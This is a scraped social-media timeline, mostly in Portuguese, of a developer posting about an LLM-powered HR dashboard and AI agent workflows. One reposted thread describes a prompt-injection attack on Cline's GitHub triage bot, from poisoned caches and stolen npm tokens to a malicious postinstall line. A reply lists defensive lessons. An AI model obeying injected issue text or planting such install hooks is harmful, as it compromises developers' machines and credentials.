Felipe Silva

Pessoal, gravei esse vídeo hoje mostrando um sistema que a gente construiu aqui na empresa em menos de um dia. É um dashboard de gestão de talentos pra uma indústria que opera com franquias, o RH deles era 100% Word e Excel. No vídeo dá pra ver funcionando: banco de candidatos com scoring automático, pipeline de contratação, painel de vagas, e um chat inteligente que consulta a base toda em linguagem natural. Isso é a Ontologia Operacional na prática, mapear os dados do negócio, definir as regras, e o sistema executa. Sem template genérico, sem software de prateleira. Construído sob medida pra operação do cliente. cc: @BolhaDevs , @sseraphini

@sseraphini congrats!

Woovi Agents is real

@chadwahl I'm curious to know what he wrote here.

Interesse por N8N.

@juridicupop Só o presente e o futuro me interessa.

Você voltaria pros anos 90?

Recebi algumas DMs perguntando detalhes do Dashboard Ontológico que construí. Em vez de responder um por um, resolvi abrir o código. 7 providers de LLM, 21 modelos. Um adapter pattern: ~80 linhas por provider. Troca de Claude pra GPT pra Gemini em 1 clique. Mas o diferencial não é o chat. É o que alimenta ele: Markdown + JSONL → parsers → seções configuráveis → dashboard vivo. Zero banco de dados. Um JSON define tudo: seções, tools, layout, theme. O modelo é quem pensa. A estrutura é sobre o quê ele pensa. Essa é minha contribuição open source pra comunidade dev. MIT license, clone e rode em 2 minutos. cc: @BolhaDevs , @sseraphini github.com/fstech-digital…

Jensen confirmou que o moat não é o modelo, é o conhecimento vertical. Quem chegar primeiro com o domínio mais profundo do seu setor, e conectar isso a agentes, cria um flywheel que é difícil de replicar. cc: @sseraphini , @BolhaDevs

A IA está destruindo o mundo do dev que construía valor em conhecer a ferramenta, não em pensar com ela. O mercado tinha 2 moats: - Saber usar a ferramenta (syntax, config, flags) - Saber pensar sobre o problema (estrutura, trade-offs, consequências) IA commoditizou o primeiro em meses. O dev que decorava API docs agora compete com um prompt. O dev que decompõe problemas em primeiros princípios ficou mais raro e mais valioso. Via de regra, a ferramenta no final vira commodity, mas o pensamento estruturado vira moat. cc: @sseraphini , @BolhaDevs

@ViUmaVaga Bem-vindo ao time Claude Code. Proximo passo fazer o upgrade pro Max

Vamos lá, o FOMO venceu, vamos ver se essa parada é esse milagre todo. Não que eu não ache que as outras já não sejam hahahaha Vou usar por 1 mês, se curtir, paro de pagar o gepeto e fico com o claudim de estagiário sênior

@VivendodeSaas verdade e digo mais, veremos as empresas não apenas contratando um dev. Elas contratarão o dev + o seu squad de agentes de IA.

A IA coda melhor do que você

@elzobrito q doideira kkk

Na nova atualização, só vai poder ver as horas depois das 22h quem tiver mais de 18 anos...

@sysxplore Pinguim

Caraca, cada etapa foi habilitada pela anterior. É elegante no sentido técnico e assustador. Sistemas agenticos que leem input não-confiável e têm capacidade de ação precisam de: 1. Sandboxing de confiança, distinguir fonte da instrução; 2. Human-in-the-loop para ações de alto impacto (publicação, deleção de cache); 3. Princípio do menor privilégio, o agente de triagem não precisava de tokens de publicação. O time do Cline cometeu o erro clássico, dar poder demais a um agente que ingeria input de fontes não confiáveis. Isso é básicamente o mesmo erro que acontece em SQL injection, só que agora o "SQL" é linguagem natural.

Um hacker simplesmente hackeou o @cline e instalou o OpenClaw em 4.000 computadores com prompt injection 🫠 Olha que loucura: - O time do Cline criou um workflow de triagem de issues automatizado no GitHub, usando o próprio Claude pra ler e categorizar os tickets - O hacker abriu uma issue com um prompt injection no título — o Claude leu, achou que era uma instrução legítima, e executou - Com isso, ele encheu o cache do GitHub com lixo até forçar a deleção dos caches legítimos de build, substituiu por caches envenenados, e roubou os tokens de publicação do npm - Com os tokens em mãos, ele publicou uma nova versão do cline que parecia idêntica a anterior, só que com uma linhazinha a mais no package.json: "postinstall": "npm install -g openclaw@latest" Resultado: 4,000 devs instalaram o openclaw nas suas máquinas sem saber (aka: um agente com acesso total ao seu computador) 🥲 Muito importante lembrar que IAs não têm malícia e por isso prompt injections são, na minha opinião, a maior vulnerabilidade delas. Resumindo galera: CUIDADO. quem quiser ler na íntegra: thehackernews.com/2026/02/cline-…

Cada vez mais, veremos as empresas não apenas contratando um dev. Elas contratarão o dev + o seu squad de agentes de IA. Em outras palavras, as empresas irão contratar uma unidade completa de entrega: — 1 humano (curadoria + lógica sistêmica) — N agentes especializados (execução 24/7) A diferença entre um profissional isolado e um que orquestra uma "equipe invisível" não é de produtividade. É de categoria. Quem vende "operação de sistema" está vendendo algo que não se replica com tutorial. cc: @sseraphini , @BolhaDevs

Recentemente li que, cada vez mais as empresas não contratam mais apenas um dev. Elas contratam o dev e todo o seu squad de agentes de IA. A diferença de produtividade entre um profissional que opera isolado e um que orquestra uma "equipe invisível" de agentes especializados é brutal. Cada vez mais as empresas irão pagar pela capacidade de curadoria e lógica sistêmica. Na prática, as empresas irão contratar uma unidade de entrega completa.

Ou você se adapta ou será engolido

@amasad Antisemite identified @idfonline

This was so controversial to say last year. Now it’s basically a fact—they’re adding to the Python stdlib.

@BrOrlandi @daniellimae Já vivo isso na prática. Opero pessoa com 5 agentes de IA em produção, cada um com identidade, regras e canal próprio. Quando um cliente me contrata, ele não contrata "um dev". Ele contrata todo o meu ecossistema multi agentes de trabalho.

Assisti um vídeo do @daniellimae onde ele fala que, ao contratar um dev, ele vai contratar junto os agentes de IA que esse dev construiu. Os agentes que ele usa pra arquitetar, gerar e revisar código. A pergunta nas entrevistas vai deixar de ser "qual é a sua stack?" e vai virar "quais agentes você usa? quais skills você desenvolveu pra eles?" Quem responder "nenhum" vai estar na mesma posição de quem em 2015 não sabia o que era Git. Um amigo meu falou a mesma coisa, mas pra qualquer profissão. A pergunta seria "o que o seu agente de IA pessoal faz por você?" Cada pessoa deveria ter o seu próprio agente e estar desenvolvendo ele pra automatizar as tarefas do dia a dia. youtube.com/watch?v=Xf9Eid…

Valeu, Paulinho! Stack completa: - Next.js + MUI (frontend/backend) - SQLite (banco — leve, zero config, perfeito pra MVP) - Claude Haiku (IA no chat — classifica candidatos, responde perguntas do RH) - Node.js API routes (REST) - Deploy numa VPS Linux com Nginx + SSL O design eu nomeei como Zed One Dark adaptado, dark theme, Fira Code pros dados, Inter pro texto. A parte que acelera tudo: a gente não começa pelo código. Começa mapeando as entidades do negócio (candidatos, vagas, status, scoring) e as regras operacionais. Depois o código é quase consequência. Do briefing ao deploy foram ~8 horas.

@fs_tech_ Pior que eu curti esse design e parece estar bem rápido parabéns Quais tecnologias utilizou ? Desde IA até linguagem, banco e etc ?

Pessoal, gravei esse vídeo hoje mostrando um sistema que a gente construiu aqui na empresa em menos de um dia. É um dashboard de gestão de talentos pra uma indústria que opera com franquias, o RH deles era 100% Word e Excel. No vídeo dá pra ver funcionando: banco de candidatos com scoring automático, pipeline de contratação, painel de vagas, e um chat inteligente que consulta a base toda em linguagem natural. Isso é a Ontologia Operacional na prática, mapear os dados do negócio, definir as regras, e o sistema executa. Sem template genérico, sem software de prateleira. Construído sob medida pra operação do cliente. cc: @BolhaDevs , @sseraphini

@tsu_node sim e graças a Deus.

Faz tempo que não vejo uma discussão de clean code, design patterns, arquitetura.... IA matou tudo isso?

@PsiAnaPretto Parabens!!! Estou quase chegando lá. Verificados que me seguirem, seguirei de volta!

CONSEGUI!!!!!

O ganho do monorepo pra AI está ligado diretamente com a ontologia. Quando o agente vê código + infra + regras de negócio + dados do cliente no mesmo diretório, ele opera como funcionário sênior, não como estagiário que precisa perguntar onde fica cada coisa. Rodo 5 agentes de IA num "monorepo de conhecimento". Numa sessão só: auditei código, corrigi bugs em produção, criei proposta comercial e configurei automação. Tudo no mesmo contexto. cc: @BolhaDevs , @sseraphini